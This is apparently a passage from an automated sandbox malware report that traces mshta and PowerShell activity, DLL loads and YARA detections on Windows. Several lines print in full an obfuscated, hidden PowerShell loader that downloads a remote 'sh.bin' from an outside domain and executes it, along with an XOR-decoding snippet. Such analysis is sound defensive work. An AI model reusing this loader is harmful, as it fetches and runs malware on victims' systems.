BNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAGQAMQAuAGUAeABwAGwAbwByAGUAZABhAGkAcgB5AGEAcAB0AGkAdAB1AGQAZQAuAHMAaABvAHAALwBzAGgALgBiAGkAbgAnACcAOwBbAFMAYwByAGkAcAB0AEIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQAuACgAKAAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQB8AE0AZQBtAGIAZQByACkAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAG4AbAAqAGcAJwAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABWAGEAcgBpAGEAYgBsAGUAIABsAFcAKQAuAFYAYQBsAHUAZQApACkALgBJAG4AdgBvAGsAZQBSAGUAdAB1AHIAbgBBAHMASQBzACgAKQAnAA==	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like'tomd'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like'ome'}).Name).Invoke('N-O',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like'nlg'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: powershell.exe, 00000014.00000002.2228198830.0000000009B30000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($z));$byteString = $enc.GetBytes($string);$xordData = $(for ($i = 0; $i -lt $byteString.length; ) {for ($j = 0; $j -lt $xorkey.length; $j++) {$byteString[$i] -bxor $xorkey[$j];$i++;if

Suspicious powershell command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like'tomd'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like'ome'}).Name).Invoke('N-O',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like'nlg'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like'tomd'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like'ome'}).Name).Invoke('N-O',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like'nlg'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()			Jump to behavior

Yara detected Costura Assembly Loader

Source: Yara match	File source: 20.2.powershell.exe.9330000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.powershell.exe.9330000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.2215255355.0000000009330000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BA8E83CE pushad ; ret	18_2_00007FF9BA8E83FD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BA8E83FE push eax; ret	18_2_00007FF9BA8E840D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BB0447ED push es; iretd	18_2_00007FF9BB0447EE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BB0458D0 push 0000006Bh; retf	18_2_00007FF9BB0458D4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BB048323 push ebx; retf	18_2_00007FF9BB048327
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF9BB044B95 push esi; retf	18_2_00007FF9BB044B96
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00DA70E2 push esi; retf 0005h	20_2_00DA70E3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_047B0440 push 00000004h; ret	20_2_047B0450
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0742F3DE push es; ret	20_2_0742F3DF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0742FB63 pushad ; retf	20_2_0742FB69
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_083469A2 push eax; mov dword ptr [esp], edx	20_2_083469B4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_0834A989 push FFFFFF8Bh; iretd	20_2_0834A98B
